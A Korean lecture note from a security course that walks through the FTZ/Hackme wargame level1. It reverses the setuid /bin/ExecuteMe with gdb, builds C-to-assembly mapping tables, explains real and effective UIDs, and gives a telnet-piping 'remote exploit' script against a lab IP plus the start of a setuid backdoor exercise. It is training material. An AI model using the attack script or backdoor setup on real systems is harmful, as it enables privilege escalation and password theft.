[목차]

 

 

1. 수업에서 사용되는 C언어 함수들

2. 리버싱을 통한 의사코드 복원 2

3. 공격용 프로그램 개발

4. C언어와 어셈블리어 매핑 테이블

5. (정리) 공격방법과 관련 기술

6. Effective UID, Real UID & Effective GID, Real GID

 

 

 

 


 

 

 

1. 수업에서 사용되는 C언어 함수들

 

 

 

main() 함수 시작 부분 분석

main() 함수 인자값이 있는 경우 분석

if/switch 조건구문 분석

for/while 반복구문 분석

 

변수

포인터

배열

함수

printf()

sprintf()

scanf()

strcpy()

strcat()

fgets()

strncmp()

malloc()

free()

setreuid()

system()

pthread_create()

pthread_join()

creat()

write()

close()

remove()

getchar()

signal()

shmget()

shmat()

shmdt()

memcpy()

putenv()

사용자 정의 함수

 

 

 


 

 

 

2. 리버싱을 통한 의사 코드(Pseudo Code, 가상 코드) 복원 2

 

 

 

[level1@ftz level1]$ export LANG=C

[level1@ftz level1]$ man chdir

[level1@ftz level1]$ cd

[level1@ftz level1]$ gdb /bin/ExecuteMe

GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)

Copyright 2003 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux-gnu"...

(gdb) disassemble main

Dump of assembler code for function main:

0x08048488 <main+0>: push %ebp /* main 함수로 진입하기 전에 EBP(메모리 구조)의

주소를 스택에 저장 ebp 값을 스택에 넣어라*/

0x08048489 <main+1>: mov %esp,%ebp /* 현재의 스택 포인터(ESP)를 스택의 베이스 포인

터(EBP)에 저장 */

0x0804848b <main+3>: sub $0x28,%esp esp에 들어있는 값에서 40만큼 빼서 다시 sep에 넣으라는뜻 /* main() 함수에서 사용할 변수의 공간

0x0804848e <main+6>: and $0xfffffff0,%esp 을 확보 (더미공간)*/ $0xff를 and 연산해서 esp에 넣어라. And 연산. esp의 끝자리는 원래 0이지만 컴파일러가 다시한번 확인해 준다.

0x08048491 <main+9>: mov $0x0,%eax ===== mov ====

0x08048496 <main+14>: sub %eax,%esp

0x08048498 <main+16>: sub $0xc,%esp

0x0804849b <main+19>: push $0x8048680

0x080484a0 <main+24>: call 0x8048358 <system> /* int system(const char *string); */

0x080484a5 <main+29>: add $0x10,%esp =====add =====

0x080484a8 <main+32>: sub $0xc,%esp ==== sub =====

0x080484ab <main+35>: push $0x804868f (경로)

0x080484b0 <main+40>: call 0x8048378 <chdir> /* int chdir(const char *path); */

0x080484b5 <main+45>: add $0x10,%esp ===== add ====

0x080484b8 <main+48>: sub $0xc,%esp ===== sub =====

0x080484bb <main+51>: push $0x80486a0

0x080484c0 <main+56>: call 0x80483a8 <printf> /* int printf(const char *format,

...); */

0x080484c5 <main+61>: add $0x10,%esp === add ====

0x080484c8 <main+64>: sub $0xc,%esp === sub ======

0x080484cb <main+67>: push $0x80486e0

0x080484d0 <main+72>: call 0x80483a8 <printf>

0x080484d5 <main+77>: add $0x10,%esp === add ====

0x080484d8 <main+80>: sub $0xc,%esp

0x080484db <main+83>: push $0x8048720

0x080484e0 <main+88>: call 0x80483a8 <printf>

0x080484e5 <main+93>: add $0x10,%esp

0x080484e8 <main+96>: sub $0xc,%esp

0x080484eb <main+99>: push $0x8048760

0x080484f0 <main+104>: call 0x80483a8 <printf>

---Type <return> to continue, or q <return> to quit---

0x080484f5 <main+109>: add $0x10,%esp

0x080484f8 <main+112>: sub $0xc,%esp

0x080484fb <main+115>: push $0x8048782

0x08048500 <main+120>: call 0x80483a8 <printf>

0x08048505 <main+125>: add $0x10,%esp

0x08048508 <main+128>: sub $0x4,%esp

0x0804850b <main+131>: pushl $0x8049948

0x08048511 <main+137>: push $0x1e /* 0x1e = (10진수) 16 + 14 = 30 */

0x08048513 <main+139>: lea 0xffffffd8(%ebp – ebp에서 8만큼 뺀 자리에 있는),%eax

0x08048516 <main+142>: push %eax

0x08048517 <main+143>: call 0x8048368 <fgets> /* char *fgets(char *s, int size,

FILE *stream); */

0x0804851c <main+148>: add $0x10,%esp ===add======

0x0804851f <main+151>: lea 0xffffffd8(%ebp),%eax

0x08048522 <main+154>: sub $0x8,%esp

0x08048525 <main+157>: push $0x804879c

0x0804852a <main+162>: push %eax

0x0804852b <main+163>: call 0x8048388 <strstr> /* char *strstr(const char *haystack,

const char *needle); */

0x08048530 <main+168>: add $0x10,%esp ===add====

0x08048533 <main+171>: test %eax,%eax /* AND 연산후 결과가 0이면 ZF=1 (NULL 이면) */

/* 결과가 0이 아니면 ZF=0 (NULL 아니면) */

0x08048535 <main+173>: je(jumo equal) 0x8048551 <main+201> /* ZF=1 이면 Jump (NULL 이면 jump) */

0x08048537 <main+175>: sub $0xc,%esp ==== 조건이 null, 참이면 =====

0x0804853a <main+178>: push $0x80487c0

0x0804853f <main+183>: call 0x80483a8 <printf>

0x08048544 <main+188>: add $0x10,%esp

0x08048547 <main+191>: sub $0xc,%esp

0x0804854a <main+194>: push $0x0

0x0804854c <main+196>: call 0x80483c8 <exit> ==== 여기까지 수행 =====

0x08048551 <main+201>: lea 0xffffffd8(%ebp),%eax === 그렇지 않으면 이곳으로 점프===

0x08048554 <main+204>: sub $0x8,%esp

0x08048557 <main+207>: push $0x80487e8 !여기랑

---Type <return> to continue, or q <return> to quit---

0x0804855c <main+212>: push %eax !여기랑 비교함

0x0804855d <main+213>: call 0x8048388 <strstr> /* if 찾는문자열이 존재하면

%eax는 찾은 부분 pointer

else %eax는 0 */

0x08048562 <main+218>: add $0x10,%esp ==== 여기까지 =======

0x08048565 <main+221>: test %eax,%eax /* AND 연산 후 0이면 ZF=1 */

0x08048567 <main+223>: je 0x8048583 <main+251> /* if ZF=1 jump 0x8048583 */

0x08048569 <main+225>: sub $0xc,%esp ==여기부터=== /* if ZF=0 여기 실행 */

0x0804856c <main+228>: push $0x8048800

0x08048571 <main+233>: call 0x80483a8 <printf>

0x08048576 <main+238>: add $0x10,%esp

0x08048579 <main+241>: sub $0xc,%esp

0x0804857c <main+244>: push $0x0

0x0804857e <main+246>: call 0x80483c8 <exit> ==참일 경우 여기까지 수행====

0x08048583 <main+251>: sub $0xc,%esp

0x08048586 <main+254>: push $0x8048826

0x0804858b <main+259>: call 0x80483a8 <printf>

0x08048590 <main+264>: add $0x10,%esp

0x08048593 <main+267>: sub $0x8,%esp

0x08048596 <main+270>: push $0xbba /* 0xbba = (10진수) 3002 */

0x0804859b <main+275>: push $0xbba /* 0xbba = (10진수) 3002 */

0x080485a0 <main+280>: call 0x80483b8 <setreuid> /* int setreuid(uid_t ruid, uid_t

euid); */

0x080485a5 <main+285>: add $0x10,%esp

0x080485a8 <main+288>: sub $0xc,%esp

0x080485ab <main+291>: lea 0xffffffd8(%ebp),%eax

0x080485ae <main+294>: push %eax

0x080485af <main+295>: call 0x8048358 <system> 위 변수 eax를 system으로 넘긴다

0x080485b4 <main+300>: add $0x10,%esp

0x080485b7 <main+303>: leave = } 표시

0x080485b8 <main+304>: ret return

0x080485b9 <main+305>: nop

0x080485ba <main+306>: nop

---Type <return> to continue, or q <return> to quit---

0x080485bb <main+307>: nop

End of assembler dump.

(gdb) x/s 0x8048680 안에 들어있는 값을 x/s - string으로 표시해 보여달라.(null 문자 전까지 표시해 보여줌) x/x는 16진수로 보여달라는 뜻. x/d는 데시멀, x/o 는 옥탈모드

0x8048680 <_IO_stdin_used+28>: "/usr/bin/clear"

(gdb) x/s 0x804868f

0x804868f <_IO_stdin_used+43>: "/home/level2"

(gdb) x/s 0x80486e0

0x80486e0 <_IO_stdin_used+124>: "\t\t한가지 실행시켜 드리겠습니다.\n" \n은 엔터

(gdb) x/s 0x8048720

0x8048720 <_IO_stdin_used+188>: "\t\t(단, my-pass 와 chmod는 제외)\n"

(gdb) x/s 0x8048760

0x8048760 <_IO_stdin_used+252>: "\n\t\t어떤 명령을 실행시키겠습니까?\n"

(gdb) x/s 0x8048782

0x8048782 <_IO_stdin_used+286>: "\n\n\t\t[level2@ftz level2]$ "

(gdb) x/s 0x8049948

0x8049948 <stdin@@GLIBC_2.0>: ""

(gdb) x/s 0x804879c

0x804879c <_IO_stdin_used+312>: "my-pass"

(gdb) x/s 0x80487c0

0x80487c0 <_IO_stdin_used+348>: "\n\t\tmy-pass 명령은 사용할 수 없습니다.\n\n"

(gdb) x/s 0x80487e8

0x80487e8 <_IO_stdin_used+388>: "chmod"

(gdb) x/s 0x8048800

0x8048800 <_IO_stdin_used+412>: "\n\t\tchmod 명령은 사용할 수 없습니다.\n\n"

(gdb) x/s 0x8048826

0x8048826 <_IO_stdin_used+450>: "\n\n"

(gdb) quit

 

char *strstr(const char *haystack, const char *needle);

- *haystack : 키보드로 입력 받은 값(예: my name is my-pass. !!!)

- *needle : 비교할 값(예: my-pass)

- *return : *haystack에서 *needle 있으면 $eax에는 검색된 시작 주소 값이 들어 있고

*haystack에서 *needle 없으면 $eax에는 0이 들어 있다.

test %eax,%eax (null 여부)

 

* eax 레지스터에 들어있는 값이 널로 되어있으면 점프 아니면 바로 아래 수행

* (명령) test 명령은 2개의 오퍼랜드를 AND 연산하여 결과가 0이면 ZF=1 설정한다.

* (해석) 위 구문을 해석해 보면 %eax %eax가 오퍼랜드인데 만약 %eax안에 0이었다면 ZF=1 될것이고, 다른 값이 들어 있었다면 ZF=0 된다.

je 0x8048583 <main+251>

* (명령) je 명령은 ZF=1 이면 점프한다.

* (해석) test 명령어 구문에서 %eax가 0(NULL)인지를 확인하여 만약 0(NULL)이라면 je 명령 구문에서 점프하게 된다. 만약 그렇지 않으면, 바로 아래 명령 구문으로 넘어간다.

 

 

■ 분석한 내용을 바탕으로 의사 코드로 복원해 보면 다음과 같다.

# vi ExecuteMe.c

/* Header File */

#include <stdlib.h>

#include <unistd.h>

#include <stdio.h>

#include <string.h>

#include <sys/types.h>

#include <unistd.h>

 

/* Global Variable */

 

 

/* Fuction */

 

 

/* main function */

main()

{

 

char s[30];

 

system("/usr/bin/clear");

chdir("/home/level2");

printf("\n\n\n\t\t레벨2의 권한으로 당신이 원하는 명령어를\n");

printf("\t\t한가지 실행시켜 드리겠습니다.\n");

printf("\t\t(단, my-pass 와 chmod는 제외)\n");

printf("\n\t\t어떤 명령을 실행시키겠습니까?\n");

printf("\n\n\t\t[level2@ftz level2]$ ");

 

fgets(s, 0x1e, stdin);

if (strstr(s, "my-pass") != 0)

{

printf("\n\t\tmy-pass 명령은 사용할 수 없습니다.\n\n");

exit(0);

}

 

if (strstr(s, "chmod") != 0)

{

printf("\n\t\tchmod 명령은 사용할 수 없습니다.\n\n");

exit(0);

}

printf("\n\n");

 

setreuid(0xbba, 0xbba);

system(s);

 

}

 

 

 

 

 


 

 

 

 

3. 공격용 프로그램 개발(Remote Exploit)

 

 

 

 

 

■ 용어

취약점 공격코드/악용코드(Exploit Code)

C언어 사용

Local Exploit

Remote Exploit

 

■ Level1 -> Level2 취약점 분석 결과

백도어(EX: /bin/ExecuteMe)가 설치되어 있고

원격에서 telnet으로 접속한 후

백도어 실행 후 쉘(EX: /bin/bash)을 실행하고

my-pass 명령어를 수행하면 다음 레벨의 암호를 알수 있다.

 

공격 순서

(ㄱ) telnet 192.168.10.240

(ㄴ) /bin/ExecuteMe 실행

(ㄷ) /bin/bash 실행

(ㄹ) my-pass 실행

(ㅂ) 원하는 정보 획득

 

 

(linux200)

linux200 서버에서 Hackme 시스템의 레벨1의 취약점을 공격하는 프로그램을 개발해 보자.

칼리리눅스에서 공격프로그램을 제작하는 경우에는 telnet 프로그램이 설치되어 있어야 한다.

 

# cd

# mkdir -p hackme && cd hackme

# vi level1.sh

#!/bin/bash

 

export TERM=vt100

export LANG=ko.KR.eucKR

export LOG1=level1.log

 

> $LOG1

 

attack () {

sleep 1; echo "level1"

sleep 1; echo "hostname"

sleep 1; echo "/bin/ExecuteMe"

sleep 1; echo "/bin/bash"

sleep 1; echo "/bin/my-pass"

sleep 1; echo "exit"

sleep 1; echo "exit"

}

 

echo "[*] Level1 attack started. Please wait..."

attack | telnet -l level1 192.168.10.240 >> $LOG1 2>&1

 

echo "[+] Level2 password cracked."

grep 'Level2 Password' $LOG1

 

 

 


# man telnet

-l user

If the remote system understands the ENVIRON option,

then user will be sent to the remote system as the

value for the variable USER. This option implies the

-a option. This option may also be used with the open

command.

 

# chmod 700 *.sh

# ./level1.sh

Level2 Password is "hacker or cracker".

 

 


 

 

 

4. C언어와 어셈블리어의 매핑 테이블

 

 

추가적인 실습의 목표

어셈블리 언어 분석 작업을 할 때 조금더 빠른 분석을 위해

C 언어의 특정한 동작(EX: 변수 선언, 조건문/반복문 등)과

어셈블리 언어의 일정한 집합이 매핑하는 테이블을 만들어 보자.

 

 

(Hackme)

다음과 같은 소스 코드에 대한 디어셈블리 과정을 정리한다.

 

(1) 기본 구문은 어떻게 되는가?

# vi test1.c

main()

{

 

}

 

 

 

 

 

0x080482f4 <main+0>: push %ebp

0x080482f5 <main+1>: mov %esp,%ebp

0x080482f7 <main+3>: sub $0x8,%esp

0x080482fa <main+6>: and $0xfffffff0,%esp

0x080482fd <main+9>: mov $0x0,%eax

0x08048302 <main+14>: sub %eax,%esp

0x08048304 <main+16>: leave

0x08048305 <main+17>: ret

0x08048306 <main+18>: nop

0x08048307 <main+19>: nop

 

 

(2) return 값은 어떻게 처리되는가?

# vi test2.c

#include <stdio.h>

 

int main(void)

{

return 0;

}

 

 

 

0x080482f4 <main+0>: push %ebp (ebp 저장)

0x080482f5 <main+1>: mov %esp,%ebp

0x080482f7 <main+3>: sub $0x8,%esp

0x080482fa <main+6>: and $0xfffffff0,%esp

0x080482fd <main+9>: mov $0x0,%eax

0x08048302 <main+14>: sub %eax,%esp

0x08048304 <main+16>: mov $0x0,%eax

0x08048309 <main+21>: leave

0x0804830a <main+22>: ret

0x0804830b <main+23>: nop

 

(3) 변수 선언 부분은 어떻게 처리 되는가?

# vi test3.c

#include <stdio.h>

 

int main(void)

{

int a=10;

return 0;

}

 

 

 

 

0x080482f4 <main+0>: push %ebp

0x080482f5 <main+1>: mov %esp,%ebp

0x080482f7 <main+3>: sub $0x8,%esp

0x080482fa <main+6>: and $0xfffffff0,%esp

0x080482fd <main+9>: mov $0x0,%eax

0x08048302 <main+14>: sub %eax,%esp

0x08048304 <main+16>: movl $0xa,0xfffffffc(%ebp)변수 선언 부분

0x0804830b <main+23>: mov $0x0,%eax

0x08048310 <main+28>: leave

0x08048311 <main+29>: ret

0x08048312 <main+30>: nop

0x08048313 <main+31>: nop

 

 

[참고] set disassembly-flavor 명령어 사용법

어셈블리어 문법의 전환 및 확인

(gdb) set disassembly-flavor att /* att: AT&T */

(gdb) set disassembly-flavor intel /* intel: INTEL */

(gdb) show disassembly-flavor

(AT&T) movl $0xa,0xfffffffc(%ebp) == (INTEL) mov DWORD PTR [ebp-4], 0xa

%ebp + 0xfffffffc

%ebp - 4

 

 

[참고] set dissassembly-flavor 영구적으로 설정하는 방법

# vi ~level1/.gdbinit

set disassembly-flavor intel

 

 

 

(4) 함수는 어떻게 처리 되는가?

# vi test4.c

#include <stdio.h>

 

int main(void)

{

int a=10;

printf("a: %d", a);

return 0;

}

 

 

 

 

 

 

 

 

 

0x08048328 <main+0>: push %ebp

0x08048329 <main+1>: mov %esp,%ebp

0x0804832b <main+3>: sub $0x8,%esp

0x0804832e <main+6>: and $0xfffffff0,%esp

0x08048331 <main+9>: mov $0x0,%eax

0x08048336 <main+14>: sub %eax,%esp

0x08048338 <main+16>: movl $0xa,0xfffffffc(%ebp)

0x0804833f <main+23>: sub $0x8,%esp

0x08048342 <main+26>: pushl 0xfffffffc(%ebp)

0x08048345 <main+29>: push $0x8048408

0x0804834a <main+34>: call 0x8048268 <printf>

0x0804834f <main+39>: add $0x10,%esp

0x08048352 <main+42>: mov $0x0,%eax

0x08048357 <main+47>: leave

0x08048358 <main+48>: ret

0x08048359 <main+49>: nop

0x0804835a <main+50>: nop

0x0804835b <main+51>: nop

 

 

 

(5) 조건 구문(if 구문)은 어떻게 처리되는가?

# vi test5.c

#include <stdio.h>

 

int main(void)

{

int a=10;

printf("a: %d", a);

 

if (a == 0)

{

printf("OK");

}

return 0;

}

 

 

 

 

 

 

 

 

0x08048328 <main+0>: push %ebp

0x08048329 <main+1>: mov %esp,%ebp

0x0804832b <main+3>: sub $0x8,%esp

0x0804832e <main+6>: and $0xfffffff0,%esp

0x08048331 <main+9>: mov $0x0,%eax

0x08048336 <main+14>: sub %eax,%esp

0x08048338 <main+16>: movl $0xa,0xfffffffc(%ebp)

0x0804833f <main+23>: sub $0x8,%esp

0x08048342 <main+26>: pushl 0xfffffffc(%ebp)

0x08048345 <main+29>: push $0x804841c

0x0804834a <main+34>: call 0x8048268 <printf>

0x0804834f <main+39>: add $0x10,%esp

 

조건 구문 (If)에는 비교하고 점프 뛰는게 있음

0x08048352 <main+42>: cmpl $0x0,0xfffffffc(%ebp) 0하고 10하고 비교. 10에서 0을 빼면 10. $0X0는 0/ (compare)

0x08048356 <main+46>: jne 0x8048368 <main+64> jump not equal 제로플래그 ZF가 0이 아니면 점프뛰어라.

 

0x08048358 <main+48>: sub $0xc,%esp

0x0804835b <main+51>: push $0x8048422

0x08048360 <main+56>: call 0x8048268 <printf>

0x08048365 <main+61>: add $0x10,%esp

 

else

0x08048368 <main+64>: mov $0x0,%eax

0x0804836d <main+69>: leave

0x0804836e <main+70>: ret

0x0804836f <main+71>: nop

 

 

 

[참고] 조건에 따른 분기 - if 구문

https://m.blog.naver.com/67sooon/10166748134

Assembly 표현

C 언어 표현

설명

jz/je

!= (같지 않으면)

jump if zero/jump if equal

jnz/jne

== (같으면)

jump if not zero/jump if not equal

jg

<= (작거나 같으면)

jump if greater

jge

< (작으면)

jump if greater than or equal

jl

>= (크거나 같으면)

jump if less

jle

> (크면)

jump if less than or equal

 

 

 

(6) 조건 구문(switch 구문)은 어떻게 처리되는가?

# vi test6.c

#include <stdio.h>

 

int main(void)

{

int a=10;

printf("a: %d", a);

 

switch (a)

{

case 8: a=1; break;

case 9: a=2; break;

case 10:a=3; break;

default:a=4; break;

}

return 0;

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

0x08048328 <main+0>: push %ebp

0x08048329 <main+1>: mov %esp,%ebp

0x0804832b <main+3>: sub $0x8,%esp

0x0804832e <main+6>: and $0xfffffff0,%esp

0x08048331 <main+9>: mov $0x0,%eax

0x08048336 <main+14>: sub %eax,%esp

0x08048338 <main+16>: movl $0xa,0xfffffffc(%ebp)

0x0804833f <main+23>: sub $0x8,%esp

0x08048342 <main+26>: pushl 0xfffffffc(%ebp)

0x08048345 <main+29>: push $0x8048470

0x0804834a <main+34>: call 0x8048268 <printf>

0x0804834f <main+39>: add $0x10,%esp

0x08048352 <main+42>: mov 0xfffffffc(%ebp),%eax

0x08048355 <main+45>: mov %eax,0xfffffff8(%ebp)

0x08048358 <main+48>: cmpl $0x2,0xfffffff8(%ebp)

0x0804835c <main+52>: je 0x8048386 <main+94>

0x0804835e <main+54>: cmpl $0x2,0xfffffff8(%ebp)

0x08048362 <main+58>: jg 0x804836c <main+68>

0x08048364 <main+60>: cmpl $0x1,0xfffffff8(%ebp)

0x08048368 <main+64>: je 0x8048374 <main+76>

0x0804836a <main+66>: jmp 0x80483aa <main+130>

0x0804836c <main+68>: cmpl $0x3,0xfffffff8(%ebp)

0x08048370 <main+72>: je 0x8048398 <main+112>

0x08048372 <main+74>: jmp 0x80483aa <main+130>

0x08048374 <main+76>: sub $0xc,%esp

0x08048377 <main+79>: push $0x8048476

0x0804837c <main+84>: call 0x8048268 <printf>

0x08048381 <main+89>: add $0x10,%esp

0x08048384 <main+92>: jmp 0x80483ba <main+146>

0x08048386 <main+94>: sub $0xc,%esp

0x08048389 <main+97>: push $0x8048478

0x0804838e <main+102>: call 0x8048268 <printf>

0x08048393 <main+107>: add $0x10,%esp

0x08048396 <main+110>: jmp 0x80483ba <main+146>

0x08048398 <main+112>: sub $0xc,%esp

0x0804839b <main+115>: push $0x804847a

0x080483a0 <main+120>: call 0x8048268 <printf>

0x080483a5 <main+125>: add $0x10,%esp

0x080483a8 <main+128>: jmp 0x80483ba <main+146>

0x080483aa <main+130>: sub $0xc,%esp

0x080483ad <main+133>: push $0x804847c

0x080483b2 <main+138>: call 0x8048268 <printf>

0x080483b7 <main+143>: add $0x10,%esp

0x080483ba <main+146>: mov $0x0,%eax

0x080483bf <main+151>: leave

0x080483c0 <main+152>: ret

0x080483c1 <main+153>: nop

0x080483c2 <main+154>: nop

0x080483c3 <main+155>: nop

End of assembler dump.

 

 

[참고] 조건에 따른 분기 - switch ~ case 문

https://m.blog.naver.com/67sooon/10166750521

Assembly 표현

C 언어 표현

0x08048352 <main+42>: mov 0xfffffffc(%ebp),%eax

0x08048355 <main+45>: mov %eax,0xfffffff8(%ebp)

switch(a)

0x08048358 <main+48>: cmpl $0x2,0xfffffff8(%ebp)

0x0804835c <main+52>: je 0x8048386 <main+94>

0x0804835e <main+54>: cmpl $0x2,0xfffffff8(%ebp)

0x08048362 <main+58>: jg 0x804836c <main+68>

case 1:

0x08048364 <main+60>: cmpl $0x1,0xfffffff8(%ebp)

0x08048368 <main+64>: je 0x8048374 <main+76>

0x0804836a <main+66>: jmp 0x80483aa <main+130>

case 2:

0x0804836c <main+68>: cmpl $0x3,0xfffffff8(%ebp)

0x08048370 <main+72>: je 0x8048398 <main+112>

0x08048372 <main+74>: jmp 0x80483aa <main+130>

case 3:

0x08048372 <main+XX>: jmp 0x80483aa <main+130>

default:

 

 

(7) 반복 구문(for 구문)은 어떻게 처리되는가?

# vi test7.c

#include <stdio.h>

 

int main(void)

{

int a=10;

printf("a: %d", a);

 

for(a=0; a<10; a++)

{

printf("a = 0");

}

 

return 0;

}

 

 

 

 

 

 

 

 

 

 

 

0x08048328 <main+0>: push %ebp

0x08048329 <main+1>: mov %esp,%ebp

0x0804832b <main+3>: sub $0x8,%esp

0x0804832e <main+6>: and $0xfffffff0,%esp

0x08048331 <main+9>: mov $0x0,%eax

0x08048336 <main+14>: sub %eax,%esp

0x08048338 <main+16>: movl $0xa,0xfffffffc(%ebp)

0x0804833f <main+23>: sub $0x8,%esp

0x08048342 <main+26>: pushl 0xfffffffc(%ebp)

0x08048345 <main+29>: push $0x804842c

0x0804834a <main+34>: call 0x8048268 <printf>

0x0804834f <main+39>: add $0x10,%esp

0x08048352 <main+42>: movl $0x0,0xfffffffc(%ebp)

0x08048359 <main+49>: cmpl $0x9,0xfffffffc(%ebp)

0x0804835d <main+53>: jle 0x8048361 <main+57>

0x0804835f <main+55>: jmp 0x8048378 <main+80>

0x08048361 <main+57>: sub $0xc,%esp

0x08048364 <main+60>: push $0x8048432

0x08048369 <main+65>: call 0x8048268 <printf>

0x0804836e <main+70>: add $0x10,%esp

0x08048371 <main+73>: lea 0xfffffffc(%ebp),%eax

0x08048374 <main+76>: incl (%eax)

0x08048376 <main+78>: jmp 0x8048359 <main+49>

0x08048378 <main+80>: mov $0x0,%eax

0x0804837d <main+85>: leave

0x0804837e <main+86>: ret

0x0804837f <main+87>: nop

 

 

[참고] 반복문 - for 문

https://m.blog.naver.com/67sooon/10166752576

Assembly 표현

C 언어 표현

0x08048352 <main+42>: movl $0x0,0xfffffffc(%ebp)

for 구문의 초기값

for(a=0; a<10; a++)

0x08048359 <main+49>: cmpl $0x9,0xfffffffc(%ebp)

0x0804835d <main+53>: jle 0x8048361 <main+57>

0x0804835f <main+55>: jmp 0x8048378 <main+80>

for 구문의 조건

for(a=0; a<10; a++)

0x08048371 <main+73>: lea 0xfffffffc(%ebp),%eax

0x08048374 <main+76>: incl (%eax)

for 구문의 증감연산

for(a=0; a<10; a++)

 

 

(8) 반복 구문(while 구문)은 어떻게 처리되는가?

# vi test8.c

#include <stdio.h>

 

int main(void)

{

int a=10;

printf("a: %d\n", a);

 

a=0;

while (a < 10)

{

printf("a = 10\n");

a++;

}

 

return 0;

}

 

 

 

 

 

 

 

 

 

 

0x08048328 <main+0>: push %ebp

0x08048329 <main+1>: mov %esp,%ebp

0x0804832b <main+3>: sub $0x8,%esp

0x0804832e <main+6>: and $0xfffffff0,%esp

0x08048331 <main+9>: mov $0x0,%eax

0x08048336 <main+14>: sub %eax,%esp

0x08048338 <main+16>: movl $0xa,0xfffffffc(%ebp)

0x0804833f <main+23>: sub $0x8,%esp

0x08048342 <main+26>: pushl 0xfffffffc(%ebp)

0x08048345 <main+29>: push $0x804842c

0x0804834a <main+34>: call 0x8048268 <printf>

0x0804834f <main+39>: add $0x10,%esp

0x08048352 <main+42>: movl $0x0,0xfffffffc(%ebp)

0x08048359 <main+49>: cmpl $0x9,0xfffffffc(%ebp)

0x0804835d <main+53>: jle 0x8048361 <main+57>

0x0804835f <main+55>: jmp 0x8048378 <main+80>

0x08048361 <main+57>: sub $0xc,%esp

0x08048364 <main+60>: push $0x8048433

0x08048369 <main+65>: call 0x8048268 <printf>

0x0804836e <main+70>: add $0x10,%esp

0x08048371 <main+73>: lea 0xfffffffc(%ebp),%eax

0x08048374 <main+76>: incl (%eax)

0x08048376 <main+78>: jmp 0x8048359 <main+49>

0x08048378 <main+80>: mov $0x0,%eax

0x0804837d <main+85>: leave

0x0804837e <main+86>: ret

0x0804837f <main+87>: nop

 

 

 

[참고] 아래 내용의 while 구문과 for 구문(이전 분석 내용)의 내용을 비교해 본다.

 

[참고] 반복문 - while 문

https://m.blog.naver.com/67sooon/10166753297

Assembly 표현

C 언어 표현

0x08048352 <main+42>: movl $0x0,0xfffffffc(%ebp)

while 구문의 초기값

a=0

0x08048359 <main+49>: cmpl $0x9,0xfffffffc(%ebp)

0x0804835d <main+53>: jle 0x8048361 <main+57>

0x0804835f <main+55>: jmp 0x8048378 <main+80>

while 구문의 조건

while (a < 10)

0x08048371 <main+73>: lea 0xfffffffc(%ebp),%eax

0x08048374 <main+76>: incl (%eax)

while 구문의 증감연산

while (a < 10) { ...; a++; }

 

 

[참고] 반복문 - for 문(이전에 분석한 내용입니다.)

https://m.blog.naver.com/67sooon/10166752576

Assembly 표현

C 언어 표현

0x08048352 <main+42>: movl $0x0,0xfffffffc(%ebp)

for 구문의 초기값

for(a=0; a<10; a++)

0x08048359 <main+49>: cmpl $0x9,0xfffffffc(%ebp)

0x0804835d <main+53>: jle 0x8048361 <main+57>

0x0804835f <main+55>: jmp 0x8048378 <main+80>

for 구문의 조건

for(a=0; a<10; a++)

0x08048371 <main+73>: lea 0xfffffffc(%ebp),%eax

0x08048374 <main+76>: incl (%eax)

for 구문의 증감연산

for(a=0; a<10; a++)

 

 

 

 


 

 

 

5. (정리) 공격 방법과 관련 기술 정리

 

 

[과제] gdb(디버거) 사용법에 대해서 조사한다.

인터넷을 통해 gdb 사용법에 대해 조사한다.

1. 개발자 관점이 아닌 보안 관점에서

 

■ 공격한 방법에 대한 순서 정리

힌트 정보 확인(# cat hint)

힌트 내용에 맞는 파일 검색(# find / -user level2 -perm -4000 2>/dev/null)

찾은 프로그램 실행(# /bin/ExecuteMe)

-> 의사 코드 복원(GDB 사용)

찾은 프로그램의 버그 확인(다양한 방법)

 

■ 관련된 기술 정리

find 명령어 사용법

특수퍼미션(SetUID)의 개념

어셈블리에 대한 소개

GDB 사용법에 대한 소개

백도어에 대한 개념

 

■ 수행한 내용

/bin/ExecuteMe 파일을 gdb를 사용한 분석

의사 코드 생성

Remote Exploit Code 개발

 

 

 


 

 

 

6. Effective UID, Real UID & Effective GID, Real GID

 

 

 

■ 사용시스템

linux200

 

 

■ setreuid() 함수 대해서

# export LANG=C

# man setreuid

 

 

■ UID/EUID, GID/EGID 개념에 대해서

 

UID(User Identification, Real UID )/EUID(Effective UID)

GID(Group Identification, Real GID)/EGID(Effective GID)

 

Real UID : ==> # who am i (!!! 내가 어떤 사용자로 로그인 했는가 !!!)

/etc/passwd (user01:x:1000:1000::/home/user01:/bin/bash)

Eeffective UID:==> # id or # whoami (!!! 현재 내가 누가인가 !!!)

 

(linux200)

 

[EX] RUID/EUID 의미에 대한 실습

# telnet localhost

user01 사용자로 로그인

--------------------------

RUID : 1000

EUID : 1000

--------------------------

$ who am i ---> 로그인 당시 누구였냐 root

$ id --->

$ whoami ---> 현재 내가 누구냐 user01

 

$ su - user02

--------------------------

RUID : 1000

EUID : 1001

--------------------------

$ who am i ---> 로그인 당시 누구냐 user01

$ id --->

$ whoami ---> 현재 내가 누구냐 user02

 

$ su - root

--------------------------

RUID : 1000

EUID : 0

--------------------------

# who am i --->

# id --->

# whoami --->

 

# exit

$ exit

$ exit

#

 

 

!!!! RUID vesus EUID 차이점 !!!!

 

 

이게 왜 중요한가?

 

리눅스가 개편되어 centos RHEL 버전으로 넘어오면서

EUID 위주로 보게 설정된다.

(linux200)

 

함수의 사용법

* int setuid(uid_t uid); -> EUID 변경

* int setreuid(uid_t ruid, uid_t euid); -> RUID, EUID 변경

 

 

[EX] backdoor 파일 생성에 대한 실습(setreuid() 사용)

 

# ls -l /bin/bash

  • 0열 선택0열 다음에 열 추가
  • 0행 선택0행 다음에 행 추가

셀 전체 선택

열 너비 조절

행 높이 조절

-rwxr-xr-x 1 root root 718K Jan 22 2009 /bin/bash

  • 셀 병합
  • 행 분할
  • 열 분할
  • 너비 맞춤
  • 삭제

 

# mkdir -p /test && cd /test && rm -rf /test/*

 

# cp /bin/bash /test

# cd /test

# ls -l

-> /test/bash

-> /bin/bash

 

# /bin/bash

# ps

  • 0열 선택0열 다음에 열 추가
  • 0행 선택0행 다음에 행 추가

셀 전체 선택

열 너비 조절

행 높이 조절

PID TTY TIME CMD

4620 pts/1 00:00:00 bash

4801 pts/1 00:00:00 bash

  • 셀 병합
  • 행 분할
  • 열 분할
  • 너비 맞춤
